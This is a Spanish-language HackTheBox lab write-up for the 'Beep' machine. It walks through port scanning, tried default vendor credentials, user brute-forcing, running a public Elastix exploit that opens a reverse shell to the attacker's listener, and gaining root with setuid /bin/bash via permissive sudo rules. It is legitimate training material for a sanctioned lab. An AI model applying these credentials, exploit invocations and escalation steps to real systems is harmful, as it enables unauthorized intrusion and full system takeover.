↓ Ir al contenido
  1. Writeups/

HackTheBox - Beep

·13 mins
Tabla de contenido
  • Dificultad: easy
  • Tiempo aprox.: 5.5h
  • Datos Iniciales: 10.129.229.183

Enumeración inicial
#

Empezamos con un escaneo de puertos, que encuentra lo siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -----> TCP
$ nmap -sT -Pn -p- --open 10.129.229.183 # Encuentra los puertos 22,25,80,110,111,143,443,856,993,995,3306,4190,4445,4559,5038,10000 abiertos
$ nmap -sT -Pn 10.129.229.183 -sVC -p22,25,80,110,111,143,443,856,993,995,3306,4190,4445,4559,5038,10000
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open  http       Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://10.129.229.183/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp   open  pop3?
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            853/udp   status
|_  100024  1            856/tcp   status
143/tcp   open  imap?
443/tcp   open  ssl/http   Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2026-08-18T23:01:46+00:00; 0s from scanner time.
856/tcp   open  status     1 (RPC #100024)
993/tcp   open  imaps?
995/tcp   open  pop3s?
3306/tcp  open  mysql?
4190/tcp  open  sieve?
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax?
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Host: 127.0.0.1

# -----> UDP
$ sudo nmap -sU -Pn --top-ports=200 10.129.229.183 --open # Encuentra 111,123,10000
$ sudo nmap -sU -Pn -p111,123,10000 -sVC 10.129.229.183 --open
PORT      STATE SERVICE VERSION
111/udp   open  rpcbind 2 (RPC) # El mismo que en 111/tcp
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            853/udp   status
|_  100024  1            856/tcp   status
123/udp   open  ntp     NTP v4 (secondary server) # Servicio de tiempo, irrelevante
10000/udp open  webmin  (https on TCP port 10000) # Igual que en 10000/tcp?

Mirando cada puerto
#

Tenemos bastantes puertos abiertos en TCP, así que vamos a ir mirándolos de uno en uno.

  • 22/tcp (OpenSSH 4.3): Versión muy vieja (de 2006). Tiene varias vulnerabilidades anteriores a la fecha de salida de la máquina (15/3/2017), algunas relevantes listadas debajo.
    • CVE-2006-5051 (Condición de carrera, potencial RCE): Fue el CVE precursor de RegreSSHion (CVE-2024-6387) y ya afectaba a esta versión. Era incluso más difícil de explotar que RegreSSHion así que lo descartamos.
    • CVE-2008-1483 (Secuestro de X11-Session-Forwarding local): En alguna situación específica podría servirnos para elevar privilegios o hacer movimiento lateral, lo apuntamos por si acaso.
  • 25/tcp (Servicio desconocido): Probablemente se trate de SMTP, pero nmap no ha sabido reconocerlo y ni siquiera ha podido conectarse al puerto.
  • 80/tcp (Apache httpd 2.2.3): Redirige al puerto 443 y nos avisa de que el SO es CentOS.
  • 110/tcp (Servicio desconocido): Junto con SMTP, cuadraría que fuese POP3, y de hecho posiblemente lo sea. El 995/tcp es POP3s.
  • 111/tcp (rpcbind): El puerto en el que se mapean los endpoints de RPC específicos.
  • 143/tcp (Servicio desconocido): Probablemente IMAP, el 993/tcp es IMAPs.
  • 443/tcp (httpd 2.2.3): La versión con cifrado. Solo se soporta TLS1.0 así que curl no funcionará a no ser que especifiquemos esa versión, y Firefox tampoco a no ser que cambiemos ajustes. Si queremos entrar en un navegador sin modificar nada podemos usar el de BurpSuite.
    • El servicio en uso es Elastix, un software de código abierto de VoIP y comunicaciones (telefonía).
  • 856/tcp (status): Una función de RPC, no sabemos qué es.
  • 3306/tcp (MySQL): Base de datos, posiblemente contenga algo importante.
  • 5038/tcp (Asterisk 1.1): Servicio de control de un servidor de telefonía. Tiene algunas vulnerabilidades de ejecución de comandos del SO y Arbitrary File Write
  • 10000/tcp (MiniServ 1.570): Un servidor web, tiene vulnerabilidades de RCE (CVE-2012-2982) como root.

De los siguientes puertos tenemos menos información, los miraremos más a fondo si no nos queda otra, pero tras una búsqueda encontramos lo siguiente:

1
2
3
4190/tcp  sieve        # Software para ordenar y filtrar emails del lado del server
4445/tcp  upnotifyp    # No es UPNotifyp sino FOP2 (Servicio de operadora telefónica)
4559/tcp  hylafax      # Servicio de FAX

De todas formas, solo con lo de TCP ya tenemos bastante contexto de la máquina:

  • Hay servicio de telefonía (Elastix en 443, Asterisk en 5038, FOP2 en 4445)
  • Hay servicio de email (SMTP, IMAP(S), POP3(S), Sieve)
  • Hay base de datos (MySQL), quizás para guardar contactos y datos de usuarios?
  • Hay servicio de FAX (HylaFax)

Todo apunta a que se trata de un servidor de una empresa. Además, todos los puertos abiertos relevantes que hay en UDP tienen un equivalente en TCP, así que salvo que nos quedemos sin opciones más adelante, podemos empezar a buscar cómo entrar.

Planeando la ruta
#

Antes de nada, vamos a planear qué vamos a hacer.

  • Vamos a echar un vistazo a la versión de Elastix por si tiene alguna vulnerabilidad importante.
  • MiniServ 1.570 tiene una vulnerabilidad de RCE como root, pero requiere credenciales, así que en que las tengamos probaremos a explotarla. Podemos buscar esas credenciales de varias formas:
    • SMTP permite enumerar usuarios por fuerza bruta.
    • MySQL quizás contiene datos de usuarios.
    • La función de RPC (856/tcp) quizás expone algún dato.
    • Una vez tengamos el usuario podemos sacar su contraseña a fuerza bruta y conectarnos a su cuenta de correo (IMAP/POP3).

Probando cosas
#

Elastix y default creds.
#

Empezamos con Elastix, que al entrar nos muestra esto (desde el navegador de BurpSuite):

Si miramos el código fuente, veremos que no hay nada. Además, tras buscar formas de enumerar la versión de Elastix desde el Web GUI, veo que no hay ninguna. Una cosa que podemos probar son las credenciales por defecto.

Curiosamente, tras una búsqueda doy con esta y esta otra página que listan las credenciales por defecto de Elastix Web GUI, MySQL, y otras que aparecen aquí.

  • Elastix Web GUI:
    • admin:palosanto
    • superadmin:palosanto
    • admin:abcas
  • MySQL: root:eLaStIx.2oo7
  • FreePBX: admin:admin
  • FOP: admin:eLaStIx.2oo7
  • Asterisk:
    • admin:elastix456789
    • admin:amp111
    • phpagi:phpagi

Tras probar algunas en Elastix, veremos que no funcionan, así que tendremos que ir por otro sitio.

MySQL
#

Podemos probar con las credenciales por defecto de MySQL, pero también daremos con una respuesta negativa:

1
2
3
4
5
$ mysql -h 10.129.229.183 -u "root" -p'eLaStIx.2oo7'          
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '10.10.14.102' is not allowed to connect to this MySQL server

$ mysql -h 10.129.229.183 -u "root" -p'eLaStIx.2oo7' --skip-ssl         
ERROR 1130 (HY000): Host '10.10.14.102' is not allowed to connect to this MySQL server

Asterisk
#

Buscando qué más puede hacerse, doy con que Metasploit tiene un módulo auxiliary/gather/asterisk_creds que permite enumerar usuarios de Asterisk. No perdemos nada por usarlo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
msf > use auxiliary/gather/asterisk_creds 
msf auxiliary(gather/asterisk_creds) > show options

Module options (auxiliary/gather/asterisk_creds):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  amp111           yes       The password for the specified username
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     5038             yes       The target port (TCP)
   USERNAME  admin            yes       The username for Asterisk Call Manager

msf auxiliary(gather/asterisk_creds) > set rhosts 10.129.229.183
msf auxiliary(gather/asterisk_creds) > run
[*] Running module against 10.129.229.183
[*] 10.129.229.183:5038 - Found Asterisk Call Manager version 1.1
[-] 10.129.229.183:5038 - Auxiliary aborted due to failure: no-access: Authentication failed
[*] Auxiliary module execution completed

Lamentablemente ha fallado, y si probamos con cualquiera de las combinaciones anteriores también lo hará, así que de aquí no podemos sacar nada.

También podemos conectarnos desde netcat (ncat 10.129.229.183 5038) y mandar comandos como Action: Login, pero no hay ninguno que nos sirva de algo sin estar autenticados.

Servicio RPC
#

Intento conectarme al servicio del puerto 856 para ver si consigo sacar algo de información, pero tampoco encuentro nada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ ncat 10.129.229.183 856 -v
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.229.183:856.
# Pasa un rato y no recibo nada

$ ncat 10.129.229.183 856 -v
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.229.183:856.
status # Pruebo a mandar algo
status # otra vez
Ncat: 14 bytes sent, 0 bytes received in 28.33 seconds.

$ ncat 10.129.229.183 856 -v
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.229.183:856.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Ncat: 137 bytes sent, 0 bytes received in 8.83 seconds.

Nada, parece que no nos sirve de mucho.

SMTP User Enum
#

Como última opción, uso fuerza bruta para encontrar algún posible usuario (tras haber comprobado que es posible ver si existen usuarios con VRFY):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ smtp-user-enum -U /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 10.129.229.183 -M VRFY -v
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Usernames file ........... /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
Username count ........... 8295455
Target TCP port .......... 25
Query timeout ............ 5 secs

######## Scan started at Tue Aug 18 21:07:00 2026 #########
... # Pasa un rato largo

Pero seguimos sin haber encontrado nada.

Volviendo a Elastix
#

Tiempo después me da por volver a Elastix (443) a buscar directorios desconocidos, y termino encontrando esto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ gobuster dir -u https://10.129.229.183 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -k

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 318] [--> https://10.129.229.183/images/]
help                 (Status: 301) [Size: 316] [--> https://10.129.229.183/help/]
themes               (Status: 301) [Size: 318] [--> https://10.129.229.183/themes/]
modules              (Status: 301) [Size: 319] [--> https://10.129.229.183/modules/]
mail                 (Status: 301) [Size: 316] [--> https://10.129.229.183/mail/]
admin                (Status: 301) [Size: 317] [--> https://10.129.229.183/admin/]
static               (Status: 301) [Size: 318] [--> https://10.129.229.183/static/]
lang                 (Status: 301) [Size: 316] [--> https://10.129.229.183/lang/]
var                  (Status: 301) [Size: 315] [--> https://10.129.229.183/var/]
panel                (Status: 301) [Size: 317] [--> https://10.129.229.183/panel/]
libs                 (Status: 301) [Size: 316] [--> https://10.129.229.183/libs/]
recordings           (Status: 301) [Size: 322] [--> https://10.129.229.183/recordings/]
configs              (Status: 301) [Size: 319] [--> https://10.129.229.183/configs/]

En images, help, themes, modules, static, var, lang, configs no hay nada, pero:

  • En panel hay algo, aunque se necesita Adobe Flash Player
  • En admin se nos pide iniciar sesión con el login de HTTP básico
  • En libs encontramos info sobre el uso de FPDF y un fragmento de un libro de Julio Verne (/libs/fpdf/tutorial/20k_c2.txt).
  • En mail accedemos al panel de inicio de sesión de RoundCube Webmail
  • En recordings accedemos al panel de inicio de sesión de FreePBX 2.5

RoundCube Webmail
#

El panel de login es el siguiente.

No nos da ninguna información sobre la versión en uso, pero sí podemos deducirla en base a ciertas cosas.

En el código fuente tampoco la pone, pero sí aparece lo siguiente:

1
2
<script type="text/javascript" src="program/js/common.js?s=1256995296"></script>
<script type="text/javascript" src="program/js/app.js?s=1256995295"></script>

Ese s=1256995295 es, al parecer, una marca de tiempo en epoch, que corresponde al 31 de octubre de 2009. Estas marcas de tiempo se usan para que cuando el servidor actualice sus archivos, las marcas cambien y el navegador se vea forzado a descargarlos de nuevo (y evitar usar una página desactualizada de caché).

Esto significa que la versión en uso de la interfaz del webmail (que es para lo que sirve app.js aquí) lleva sin cambiar desde el 31/10/2009. Por esas fechas, la versión en uso de RoundCube Webmail era la 0.3.1.

Si buscamos vulnerabilidades, hay bastantes: XSS, CSRF, SSRF, y una de RCE crítica reciente (CVE-2025-49113), pero todas ellas requieren autenticación, y no tenemos credenciales, así que de momento no podemos usarlas.

Admin Login
#

Aunque no tenemos credenciales, si vamos al panel de login (/admin), se nos pedirá iniciar sesión mediante HTTP Basic Auth, y si pulsamos Cancel, veremos lo siguiente:

La versión en uso es FreePBX 2.8.1.4, y si la buscamos en Google, veremos que no necesariamente hay vulnerabilidades importantes.

Deduciendo versión
#

Aunque no hayamos podido sacar mucho de FreePBX, conocer su versión sí nos ha dado información útil. Ahora mismo sabemos lo siguiente de las versiones:

  • FreePBX 2.8.1.4
  • RoundCube WebMail 0.3.1
  • Asterisk 1.1

Con una búsqueda rápida, encontraremos que el software Elastix no iba solo, sino que se descargaba como un paquete (bundle) junto con los mencionados aquí. Esto significa que es probable que podamos deducir la versión de Elastix en función del software que iba junto a él en el bundle.

Si buscamos qué versión de Elastix se distribuía con esas otras, daremos con que era una entre Elastix 2.2.0, 2.3.0 y 2.4.0.

Exploit
#

Y si buscamos vulnerabilidades de alguna de estas, encontraremos la siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ searchsploit elastix 2.2.0      
-------------------------------------------------------------------------------------------
 Exploit Title                                                     |  Path
-------------------------------------------------------------------------------------------
Elastix 2.2.0 - 'graph.php' Local File Inclusion                   | php/webapps/37637.pl
Elastix < 2.5 - PHP Code Injection                                 | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution             | php/webapps/18650.py
-------------------------------------------------------------------------------------------
Shellcodes: No Results
# Elastix 2.3.0 y 2.4.0 muestran una única vulnerabilidad, la segunda (PHP Code Injection).

Vamos a probar en orden ascendente por lo interesante que parece cada una. Un RCE es lo más útil ahora mismo, así que vamos con la última primero.

Al momento de escribir el writeup, la página del exploit de ExploitDB estaba caída, así que tuve que usar este exploit de Github, que puede servir igual.

Lo ejecutamos

1
2
3
4
5
6
$ python3 exploit.py https://10.129.229.183 --LHOST 10.10.14.102 --LPORT 4444
[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.102:4444

[+] Exploit sent successfully, waiting for reverse shell...

Y en el listener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ penelope -i 10.10.14.102
[+] Listening for reverse shells on 10.10.14.102:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from beep~10.129.229.183-Linux-i686 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
──────────────────────────────────────────────────────────────────────────────────────────
bash-3.2$ whoami
asterisk

Tenemos un shell como asterisk.

Privesc
#

Ahora tenemos acceso directo al servidor, echamos un ojo a lo importante antes de enumerar más. Miramos privilegios sudo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
bash-3.2$ sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

Y parece que ya tenemos root, solo queda darnos la vía.

1
2
3
4
bash-3.2$ sudo /bin/chmod +s /bin/bash
bash-3.2$ /bin/bash -p && sudo /bin/chmod -s /bin/bash # Ejecutamos el shell y dejamos todo como estaba al salir.
bash-3.2# whoami
root

Y ya tenemos root.

Al final no hemos seguido el camino que habíamos marcado al principio porque no hemos conseguido unas credenciales, pero si no tuviésemos los privilegios sudo tan permisivos que teníamos, posiblemente hubiésemos tenido que buscar alguna entre los archivos del sistema para ejecutar el exploit.

En cualquier caso, máquina terminada.

Relacionados

HackTheBox - Bank

·7 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de DNS, Subdominios, “Bypass” de extensión en File Upload, Webshell, Privesc mediante binario custom.

HackTheBox - Management

·12 mins
OS: Linux | Dificultad: Easy | Conceptos: Java RMI, LDAP, OpenAM Unauth. RCE, Extracción de credenciales GLPI, Descifrado de Credenciales XChaCha20-Poly1305, Reutilización de Credenciales, Sudo Wildcard Injection (rdiff-backup).

HackTheBox - Mirai

·10 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de mDNS (UDP), Raspberry Pi, Credenciales por defecto, Sudo NOPASSWD, Copia de disco con dd, Recuperación de archivos borrados